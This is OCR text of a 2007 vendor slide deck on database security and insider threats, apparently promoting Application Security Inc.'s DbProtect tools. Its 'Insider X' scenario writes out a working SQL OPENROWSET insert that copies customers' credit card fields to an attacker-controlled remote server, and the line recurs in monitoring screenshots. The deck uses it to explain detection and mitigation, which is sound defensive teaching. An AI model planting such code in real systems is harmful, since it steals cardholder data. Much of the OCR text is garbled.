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Database security software company
Headquartered in NY

= Offices: U.S., U.K.

= Representation worldwide
Industry-leading solutions

= Most awarded database security solution on the market

= Solution of choice for auditors and security consultants

= Complete Database Security

= Discovery, vulnerability assessment, activity monitoring, auditing

Industry-leading customer base

= 1000+ customers
Top-tier investors and partners

= Visa (financial), Paladin (nat'l security), et al.
Strategic Relationships:

= Security Technology Vendors — McAfee, ArcSight, et al.

“VIsA' n“ oracLe [ Rl Svsase
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The Threat Has Changed Attackers Have Gone Pro

= Adecade ago, attacks were
= Broad-based and malicious
= Launched by disaffected “Hackers”
= |ntent was to disrupt operations & gain notoriety

= Now, attacks are
= Targeted at valuable data
= Launched by sophisticated professionals
= [ntentis monetary gain

= Datais a valuable asset in any organization
= Value increases with greater integration and aggregation
= So does the threat of data theft
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Forces Driving Database Application Security

Demand for Pervasive Access Increasingly Focused Attacks
= By anyone = Directly on applications (75%!)
= To any application = Includinginsiders (80+%!)

= Increasingly direct = Financially motivated

Compliance Requirements

= Data lives in Db apps (90%+): = Compliance must be:
Privacy / confidentiality Repeatable
Integrity Demonstrable
APPLICATION s s appsecing.com
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Databases Are Under Attack

TIX ?29? DB 17-Jan-07
UCLA 800,000 DB 21-Nov-06
AT&T 19,000 DB 29-Aug-06
Debit card compromise (OfficeMax?) 200,000 DB 9-Feb-06
Card Systems 40,000,000 DB 17-Jun-05
Citigroup 3,900,000 TP 6-Jun-05
DSW Shoe Warehouse 1,400,000 DB 8-Mar-05
Bank of America 1,200,000 TP 25-Feb-05
LexisNexis 310,000 ?? 9-Mar-05
ChoicePoint 145,000 n/a 15-Feb-05

Total Affected Records - ’05-present: 150+ million

Source: Privacy Rights Clearinghouse, http://www.privacyrights.org/ar/ChronDataBreaches.htm
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http://www.informationweek.com/story/showArticle.jhtml?articleID=163700396
http://www.msnbc.msn.com/id/7475594/
http://www.informationweek.com/showArticle.jhtml?articleID=60406788
http://www.eweek.com/article2/0,1895,1935677,00.asp
http://cbs4boston.com/local/local_story_017154318.html

The Cost of A Data Breach

= |n 2006 Breaches cost companies an average of
$182 per compromised record -- a 31% increase
over 2005.

= Of 31 companies studied that experienced a
data breach in 2006, direct costs ranged from $1
Million to over $22 Million

source: Ponemon Institute, October 2006

» These figures do not take into account the brand
damage and loss of market capitalization
incurred by the companies studied. The real
costs of a breach are astronomical.
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Databases Vendors Are Aware of the Problem

= Vendor Recommendations
= Oracle - Oracle9i Security Checklist
= Microsoft - 10 Steps to Secure SQL Server

= Other places
= http://www.appsecinc.com/resources/platform/
= SANS Institute - Database Checklist
= SQLSecurity.com - SQLSecurity Checklist
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Forrester on Database Security

Firms Need,it

“...with growing ifcidencerelintrusions
across industries;andstrengiregulatory
requirements toISeECUTEprivate data,
enterprises needieimakelDBVS  security
a top priority:

Major Providersydonitshavesit
“...DBMSes do nieleliera
comprehensive: Sel:Gliadvanced security
options... (t)op)PBNISHGEISVendors lag
behind...”

Source: Comprehensive Database Security Requires Native DBMS Features And Third-Party Tools, Forrester Research, Inc.,
March 29, 2005
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Gartner on Database Security

‘Database and application managers must begin
protecting and maintaining@raciesysiems more
aggressively...

1. Move immediately te'shieldihese sysiems as well
as possible...

2. Apply the availableipatcliesiasirapidly.as possible...

3. Use alternative SECUTIyAGBIS SUchias activity -
monitoring technologies; IGIAEIECTUnUSUal activity.

4. Pressure Oracle 101changeNiSISecurity. management
practices.

Rich Mogull, Research VP
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The Database “Insider Threat”

Who are Insiders?
The CISO of one of the largest banks in the world says...

“| define insiders in three categories

1. Authorized and Intelligent
- use IT resources appropriately

2. Authorized and “stupid”
- make mistakes that may appear as malicious or fraudulent.
3. Unauthorized and Malicious

- mask either their identity or their behavior or both!

The first two categories | can identify and track with
identity management systems — the third, | can not!!”

11
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The Database ‘“Insider Threat”

Why is it important to understand who are the Users?
= 80% of attacks originate on the Inside
= Typically Difficult to detect
= 65% of Threats go Undetected
= 25% of Enterprises detected Security Breaches

= Do you know who they are?

= Can you monitor all database access and behavior?

= Do you know your enterprise DB vulnerability profile?

= Would you pass a Privileged User Audit?

= |s your Audit Trail Tamper Hardened? Non-repudiation?

APPLICATION 12
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The Database “Insider Threat”

= |Let’s break it down a bit further...

= Authorized Users

= Employees - Clerks, Accountants, Finance, Salespeople,
Purchasing, etc.

= Privileged Users

= DBA’s, DB/App Developers, Application QA, Contractors,
Consultants

= Knowledgeable Users
= |IT Op’s, Network Op’s, Security Personnel, Audit Personnel
= Qutsiders or Malicious User with Insider Access and/or
vulnerability knowledge
= The sophisticated “white collar’ criminal

An individual may belong to more than one group
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Database Vulnerabilities

= Buffer Overflows

= Denial of Service

= Default and Weak Passwords

= Privilege Escalation

= Misconfigurations

= SQL Injection

= Accessing Operating System Resources

= And they just keep coming......
= Ex. Oracle now on quarterly patch schedule

APPLICATION " www.appsecinc.com
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Attack Scenario: “Insider X” Harvests Credit Cards

= "Insider X" is a database developer at a large retailer.

= He is responsible for writing the code that accepts credit
card information from POS terminals and writes it into a
database.

= "Insider X" is addicted to adult chat rooms on the internet.

= After spending thousands on his habit, he realizes he
can’t afford to continue, but he can’t stop.

= "Insider X" plots to clandestinely harvest credit card numbers from
his employer’s customers.
= He'll use those credit card numbers to buy more time in
the chat rooms.

APPLICATION 15 wwww.appsecinc.com
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The "Insider X’s” Plan

= The plan is to embed malicious code into the database
that processes and stores customer data.

= He will harvest credit card data as it is being processed into the system,
rather then attempting to take it after the fact.

= "Insider X" has control over the database while in
development, but will have no access when it goes to
production

= His attack needs to send the data to him....and do so without getting
noticed.

= "Insider X" will use a Microsoft SQL Server database on a
development server that he owns to collect the credit card
numbers.

= He will take them home on disk and delete the records from the SQL
Server every night.

APPLICATION 1 www.appsecinc.com
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The Attack

= "Insider X" knows that the SQL OLE DB Provider is
installed on the target database server.

= This means he can use the OPENROWSET function to send data to his
remote SQL Server database.

= His attack is a simple line of SQL code embedded into the
transaction processing system:

INSERT INTO OPENROWSET('SQLOLEDB','uid=sa;
pwd=qwerty; Network=DBMSSOCN;
Address=192.168.10.87,1433;', 'select * from
Customers..Info') values (@FirstName, @LastName,
@ccNumber, @ccType, @ccSecNumber, @ccExpDate)’

APPLICATION v vww.appsecinc.com
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The Attack in Detalil

OPENROWSET uses the OLE DB provider to set
up a connection to the remote database.
INSERT INTO
OPENROWSET('SQLOLEDB",'uid=sa;pwd=qwerty;Network=DBMSSO
CN;Address=192.168.10.87,1433;",'select * from Customers..Info")

Write the data to

values_( The attackers database is the Info table in
@FirstName, " | located at 192.168.10.87 on the Customers
ort 1433 database...on
@LastName, p "nsider X"s
@ccNumber, >_ server
ccType, . . )
@ yp This is the information that we're
@ccSecNumber, going to steal. Name, credit card
number, expiration date, and security
y @ccExpDate 7 code....all the good stuff
APPLICATION 1 . appsecinc.com
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"Insider X"’s Attack in progress...

R Microsoft SQL Server Management Studio 1 N - |D|ﬂ

File Edit “iew Query Project Tools MWindow Community Help

Dtewoen |0 RBHIBSHSEHS BDEBES,

0 43 g | customers v | B Execute v W 30 Wk | 2 | | = %
_EYILPC.Custom...5QLQuery3.sqP* | Object Explorer Details | v X
SELECT * FROM Customers. .Inful =
-
< | »
[ Results ILT; Messagesl
FirstName: l LastNarnel ccType l ccNumber l ccSecNumberI ccExpDate I
1 John Simpson  Visa 4358045098 4355 10/10/2010
2 Lisa Simpson  Mastercard 5609034552 9843 09/08/2003
3 Jena Doe Visa 4439899746 4509 03/03/2008
4 | James Pipo Visa 4298035774 8345 09/10/2010
| Query executed successtuly. EVILPC (305P2)  |EVILPC\Admiristitor (52 |Customers  |00:00:00
Ready Lnt Col 30 Ch3o INS 4
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Insider X"’s Attack in progress...
’\-. Microsoft SQL Server Management Studio I e E||5]

Eile Edit View Query Project Tools MWindow Community Help
Dwevoey | RBEH B SHSEdS BEBE S,
FaE 111

;17 =9 %7 | customers v | B Execute v W 30 i |2 |

/EVlLPC.Custnm...SQLQueryS.sqI*}/ Object Explorer Details ]
SELECT * FROM Customers. .Infol

v
| »
Messagesl
FirstName | LaslName[ cclype I ccNumber | ccSecNumbev| ccExpDate I g
1| John | Simpson  Visa 4358045098 4355 10/10/2010
2 Lisa Simpson  Mastercard 5609034552 9843 03/08/2009
3 Jena Doe Visa 4439899746 4503 03/03/2008
4 | James Pipo Visa 4298035774 8345 09/10/2010
T e e =
[@ Query executed successfully. EVILPC (3.05P2]  |EVILPC\Administrator (52] Customers [EIIJ:DU:IJIJ 42043 rows )
Ready Ln1 Col 30 Ch 30 NS 4
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"Insider X"’s Attack Complete

’\\ Microsoft SQL Server Management Studio L = Dlzj
File Edit ‘“iew Query Project Tools Window Community Help
iNewouery |y B T B B G HI BERES
7 9 5| customers <[ BEate v B I3 W[ %517 % 038 =
_EVILPC.Custom...5QLQuery3.sql* | Object Explorer Details | - X
BELECT * FROM Customers..Info —
-
< | »
[ Results |_:j Messagesl
FirstName | LaslNameI cclype | ccNumber | ccSecNumber] ccExpDate | ﬂ
1| John | Simpson Visa 4358045098 4355 10/10/2010
— 1w : and grows,
isa Simpson  Mastercard 5609034552 9843 03/08/2009 d
3 [Jens  Doe Vi 4433833746 4509 03/03/2008 and grows
4 James Pipo Visa 4298035774 8345 09/10/2010
= o TR YA 2 |
|2 Quer executed successful. [EVILPC(805P2)  |EVILPC\Administotor (52)  |Customers (000000 (15384 r0ws)
Ready Lnt Col1 chi NS 4

16,000+ credit card numbers.....that's about $80M in Credit!!!
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The Outcome

= Once the application was deployed, "Insider X" collected
at least 300 credit card numbers daily

= After some time "Insider X" had thousands of records in his own SQL
Server...without being noticed by anybody

= During the next scheduled application update, "Insider
X" removed the attack code from the system

= No trace remained on the victim’s SQL Server
= "Insider X"'s heist was a success

= When the attack was finally detected, it was too late to
do anything about it.

= |nvestigations, fines, firings, brand damage.....itwas bad for
everyone....except "Insider X"

APPLICATION 22
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How Do You Secure Databases?

Apply the vulnerability management lifecycle...

= Inventory assets :} = Prioritize based on
7 vulnerability data, threat
data, and asset
Prioritize classification

= |dentify vulnerabilities
= Develop baseline

Assess = Document security plan
. Fix
Monitor
= Eliminate high-priority
= Monitor known vulnerabilities vulnerabilities
. )

= Watch unpatched systems = = Establish controls

= Alert other suspicious activity = Demonstrate progress
APPLICATION = WwWw.appsecinc.com
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How Do You Stop the Malicious Insider?

Apply the vulnerability management lifecycle...

Establish Controls

& Track Progress
= Document systems

= Establish controls
= Demonstrate continuous

: Prioritize improvement
Baseline/
A Discover
Shield and
. Monitor Mitigate
Monitor Controls
& Flag Violations
= Who did it?
= What did they do? -
= When did they do it?
APPLICATION 2 o appsecing.com
©2007 This document is copyright protected and may not be distributed to any third party without prior consent of the copyright holder. ) ’

12



Assess: Discover all your databases

v
Assess i Hetwork
“]1DBZ 7.2
DBz 5.1
"|DEZ Database
"] Lotus Domina
"]MSDE 2000
Oiihae = e :|Hicrosoft, 2QL Server
QEisher |Microsoft S0QL Serwver 2000
| |Microsoft SQL Server 2005
"] 0racle Datahase
L ‘
T i : | Oracleliyg Datahasse
S — | 0racle? Database
et fang: | Ind dune = .
Fom: = | 0racle2i Databasze
To: = Y 0racledi Database
[+ 17Z2.16.0.0724
;;;a(érr&***
[JHTPredsaes
[pmcRtr Kt
e
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Assess: Analyze Risk

3 Vulnerabilities By Risk Level
A New Judi
<L v [ ez
Medium l:l (2/14)  14%
Low | (57147 64%
Informational | (0/14) 0%
SO Y Fher
= — . Total Number of Applications by Application Type
Sot8r: OF Obustum QR Qbptater i
VRt Ok sl gl Wicrosaft SQU Server 2000 | [1z/15) 80%
= A Bezoork
@ 2082 7.2 Misrosoft SQU semar [ ] (2/15) 19%
b IDE2 8.1 MSDE 2000 (1/15) 7%
@ 1DE2 Tatskaze L
+ | Lezus Doxiny
# 17 e 2000 Average Number Yulnerabilities by Application Type
# meresote S0 Server MsDE 2000 | T %
P |Microsoft $0L Server 2000
¥ ! Server 208 Wicrasoft 5QL Server 2000 [ ] wn 1%
¥ s Micrasoft SQL Semer (W7 143
7| xaclelog Database
e | Ozacle? Database
17 oxacleti Desabase Total Number Yulnerabilities by Application Type
] | OzacleSi Danabase
B 01160002 Risk Level udnerabiity
g @ High srv_pataminfo buffer averflow in xp_showcoly
3 High srv_paraminto bulfer overflow in k_updatecolvbm
0 @ High wp_dittres bulfer overflow
¥ @ High wp_mergelineages bulfer overfiow
@ High wp_posiedmetadata buffer overflon
= |8\ Medium  Buller overflow in LFC:
|\ Medium Database ownership chaining patch not installed
B\ Medium  Named Fipe Hiiacking
Law BUILK INSERT buffer overfiow
F Low Changing mode may leave sa password blank
APPLICATION 26
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Prioritize

Priority Application DB Location
1 PeopleSoft Oracle Chicago
2 Oracle Financials Oracle London
3 Seibel SQL Server NYC
4 Oracle ERP Oracle Munich
5 Oracle e-Business Oracle Atlanta
6 SAP SQL Server Tokyo
APPLICATION . appsecinG.com
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Fix
= Patch to limit exposure
= Qﬂ%minﬂgzm e g’;nk Note D LetestVersionoas
Calical Plch Uptal - Ociter 2036 = o
Critical Pﬁh!‘pdaledu:lzt_[\ﬂi = ;_:il
Critical Patch Update - April 2003
Critical Pafch Uf - January 2006
(Cufical Paich Update - October 2005 5520081
Citical Patch Update - July 2005 [FITEAN

Jitical Patch Update - January 2005

= Generate scrint temnlates for DRAS

- The fallowing statement is to fix & vulnerability within the following check:
- gry_paraminfo buffer awverflow in xp_peekqueus

USE master

REWOEE EXECUTE OM master.dbosp_peekgqueus FROM public
GO

APPLICATION
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Monitor: Analyzing Database Access

Monitor

SS# Credit Card#

018881111 4444555566663333
345894325 1212121278787878
789878899 0987654321123456
798886543 4678432199008876

Insider
Threat

v appsecinc.com
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Monitor: Alert Notification

“ File Edt WVew Go Bookmarks Tools Help delico.us 3
"} II . B9 (ae (@ hitpsiffiocaiost:20080/appradaripages/monitor_v2.jsp ) w
- APPLICATION
SECURITY, INC.
Home | Alerts Inmbwd ] Reports [ Policies { Fiters [ Sensors ’Sl/stam Settings | Help
@current alerts O Archive
0 |sec(s) Last Updated: 11/28/06 03:08:45 EST, updating every 0 sec(s).
Network Hide.
Instance Rule Title Login/ Username Source of Event. Application Risk
[eny %] fany %[y oy %y @] [y
Search in SQL Text
| [2eply Criteria
Displaying 6 of 6 alerts
Alert D Instance Alias Rule Title Time Loginf Username  Network User  Source of Event Application
m| App RadarSystem  Sensor configured 101306 01:59:50 PMEDT  mpullen local host
App Radar System  Sensor configured 101306 01:58:50 PMEDT  mpullen local host
App RadarSystem  Sensor configured 101306 01:58:50 PMEDT  mpullen local host
[m] App Radar System  Sensor configured 101306 01:5:50 PMEDT  mpullen local host
10 2 AoRadarSystem  Sensorconfigured 101306 015950 PMEDT  mpullen Iocal host
- App Radar System Sensor configured 10/13/06 01:59:50 PM EDT mpullen local host
medium low  Eeknowiedged
[Archive Selected Alerts ] [_Archive All Alerts | [ Selected Alerts | [ All Alerts |
® 2006, Application Security, Inc All Rights
ver: 3.2.0 (build 76)
APPLICATION 30
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DbProtect: Preventing the "Insider X" Attack

AppDetective
= Discover unauthorized databases

= Configure secure settings
= Disable OLE DB Ad-hoc queries

AppRadar
= Monitor changes to stored procedures

= Log the change and who made it
= Detect use of sensitive and powerful

functions
= OPENROWSET

APPLICATION * vww.appsecinc.com
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DbProtect AppDetective: Discover the Unauthorized DB

® AppDetective - Session #96 Q@ﬁ
Session Run Edit Yiew Hep
= £l =1 Il L 4 ] i
New  Open Discover Policy PenTest Audit Reports Update Schedule  Fix
$i Network |2 #ppication Bam
= 23 132168.3130 Valie
=g 1432 1 MSSOLSERVER
) Hiciosa SO Server 200 ! 3 o
Microsoft SO Server Rediestor (1 i ©
3 |no <P B aipetsclhauery
4 [servertiam P-BE0
5 |p 1433
& [Version CIRED
< m ] [3] Details [Wulnerabilty Description | Graphs
Fiisk Level Vulnerabilty 1P Addiess | Port Appication Detaiks
<] | B
Audi Policy: Base Lin (Builin) Pen T st Policy: E valuation (Buibin)
APPLICATION ® Www.appsecinc.com
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DbProtect AppDetective: OLE DB Queries Allowed

& AppDetective - Session #96

=] ]

Session  Run

&

e

=
Open

Edit View Help
[ ]

Discover

]

Policy  Pen Test  Audit

b 6] o

Reports  Update Schedule

Fixt

=55 Network

]

B 1321883130
o

) Microsoft SAL Server 2000 (!
Microsoft SOL Server Redirector [1

OLEDE ad hoc queries allowed |

433

Risk Level

& Medium

CVE Reference # [oli=SNleR}Eve ] |

Description

Found an OLEDB provider that is not disabled. |

Microsoft SQL Server provides functions that allow users to query data and execute
statements on external data sources. This feature can be used to mount attacks and to run
unsafe Visual Basic for Application functions. This feature should be disabled by disabling ad
hoc OLEDB queries.

Overview

Microsoft SQL Server provides two functions that allow users to query data and execute
statements on external data sources. These functions are OPENROWSET and
APERNNATASNIIRCE Thay ran ha 128 th arrass Asts that ran ha canad lrainh 2n

|

APPLICATION

<] I J [»] Detais Vulnsrabilty Dessription | Graphs

Risk Level Yulnerability IPAddress | Port Application Detss ||
M\Medim  Guest user exists in database 1921683130 1433 Microsoht SL Server 2000 [MSSOLSERVER) (Database=Northuind)
E\Medum  OLEDB ad hoc queries alloved 1921683130 1433 Microsoft SOL Server 2000 MSSOLSERVER) [Provide=SBLOLEDE) =
\Medum  SOL Agent procedures aranted to public 1921683130 1433 Microsoft SAL Server 2000 (MSSOLSERVER] (Obisct=dbo.msdb. sp_get_salagert_prapeties] (Grar
2 Low BUILTINSAdrministrators not removed 1921683130 1433 Microsoft SOL Server 2000 (MSSOLSERVER] [v]
< I ] B
Found 70 vulnerabilties. for the session included 2 applications) Audt Poiicy: Base Line (Buitin) Pen Test Policy: Evaluation (Builtin)

33
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DbProtect AppRadar: Use of ALTER PROCEDURE

www.appsecinc.com

APPLICATION

=

Username: xp-bbg\administrator [Logout] (admin vser)

Home [ alerts Dashboard Reparts Policies Fiters Senzars System
" 2 AppSecine Console - Application Security Inc. - Microsoft Interne _lo/xi
&lerts | Archive |
APPLICATION
Refresh Start |[10 | ses(s) SE ITY, INC.
—
e Rule Title LoginfUser Name
Archive | Acknowledge | create Exception |
fany =l[Jany =|[Jany
Sesrch in 50L Text s e
| POl st SOL Server 2000 (Host-based Sensor)
Displaying 13 of 3051 alarts
as
® Alias [REa L TER PROCEDURE
| aosa T Backend ALTER PROCEDURE KT -/ 16/07 10:56:30 PM EDT
I sess T tadend ALTER PROSEDURE ogin/User SREIEEY
| sos0 [ Eaiend ALTER PrOCEDURE

5GL injedtion in sp_MSdrapret

Ganeric use of xp_cmdshell

Network
o i

Source of
-

[ALTER PROCEDURE [dbo] [ProcessOrder]
(@FirstName varchar, @Last Name varchar,
@ceNumber varchar, @ocExpDate datetime,
‘@ccType v archar, @ecSecNumber varchar)
45 BEGIN SET NOCOUNT ON;
INSERT INT O customers. info
(Firsthame,Lasthame cchlumber, ccExpDate ccSec Number)
ALUES (@Firsthame,@LastName, @ccumber,@ccExpDate, @c
cSechiumber,
INSERT INTO OPENROWSET('SQLOLEDB', Uid=ca; pwi=gwe
rty; Network=DBMSSOCN; Address=102.168.3.130,1433;",
"select * from Customers. Infa’)
ALUES (@Firsthame,@LasthName,

Date,ecTy

SQL Text:
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DbProtect AppRadar: Use of OPENROWSET
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Instance rule Trie Loginfuser Name wa archive | Acknowiedge |
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Dizplaying 14 af 2638 alerts Backend M5 SQL
Alert  Instance
Y ks fule Tiie IR = of GRENROWSET
e [T </ 1607 10.05:53 Py EOT
O oz W %dend Use of OPENROWSET
Hamburglar
s T Saend Use of OPENROWSET
T oaszr W Gadend use of OPENROWSET n/a
rome St [P — [ S
r

Backerd
2020 ) askend Use of OPENROWSET TNSERT INTO OPENROWSET( SQLOLEDE wi=awerty;Network=D
F BMSSOCH;Address=192.168,10.57,1433;  sslect * from Customers,. Info')
g valuzs (@Firsthame, @LastName, Geciumber, @ccType, @ecSachi
o = mber, @ocEoDate]
r' chand ?

ROWSET function, This
ther,
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Database Security Best Practices

= Vulnerability Assessment
= Discover & Create an accurate inventory
= Assess for known vulnerabilities
= Prioritize and remediate (...if possible)

= Database Activity Monitoring
= Alert - users attempting to exploit vulnerabilities that
can not or have not yet been remediated
= (Patch-Gap management)
= Alert - suspicious, unusual or other abnormal activity
= Log - authorized access
= which systems, when, and how
= what was done (May be different for privileged/non-privileged

user)
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What Is Database Activity Monitoring / Auditing?

Means different things to different stake-holders
= DBA

= Focus on manually searching logs for anomalous activity
= Native Db auditing? No thanks.
= Must deal with performance and stability issues

= Internal Auditor

= Analysis of authenticated access — activity auditing

= Compliance with regulatory requirements and/or policy
= Security Operations

= |dentify, manage, and mitigate security vulnerabilities

= Safeguard against breaches — authorized or un-authorized
= |T Executive

= Auditing is a means to an end — Compliance & Risk Mgmt

= Protection of critical corporate assets, brand & stock-holders
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5 Components of Db Activity Monitoring / Auditing

[EnY

. Access & Authentication Auditing
Who accessed which systems, when, and how

2. User & Administrator Auditing
What activities were performed in the database by both users and administrators

w

. Security Activity Alerting
Identify and flag any suspicious, unusual or abnormal access to sensitive data or
critical systems

4. Vulnerability & Threat Monitoring
Detect vulnerabilities in the database, then monitor for users attempting to exploit
them

6]

. Change Auditing

Establish a baseline policy for database; configuration, schema, users, privileges
and structure, then track deviations from that baseline
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Database Security Best Practices

= Vulnerability Assessment
= Discover & Create an accurate inventory
= Assess for known vulnerabilities
= Prioritize and remediate (...if possible?)

= Database Activity Monitoring
= Alert - users attempting to exploit vulnerabilities that
can not or have not yet been remediated
= (“Patch-Gap management”)
= Alert - suspicious, unusual or other abnormal activity
= Log - authorized access
= which systems, when, and how

= what was done (May be different for privileged vs. non-
privileged user)
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= Database Auditing Best Practices
= White Paper =The basis for today’s presentation
http://www.appsecinc.com/techdocs/whitepapers/

= Database Security & Auditing Webinars
http://www.appsecinc.com/news/casts/index.shtml
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Questions?

Thank you

= Email us at:
fo@appsecinc.com
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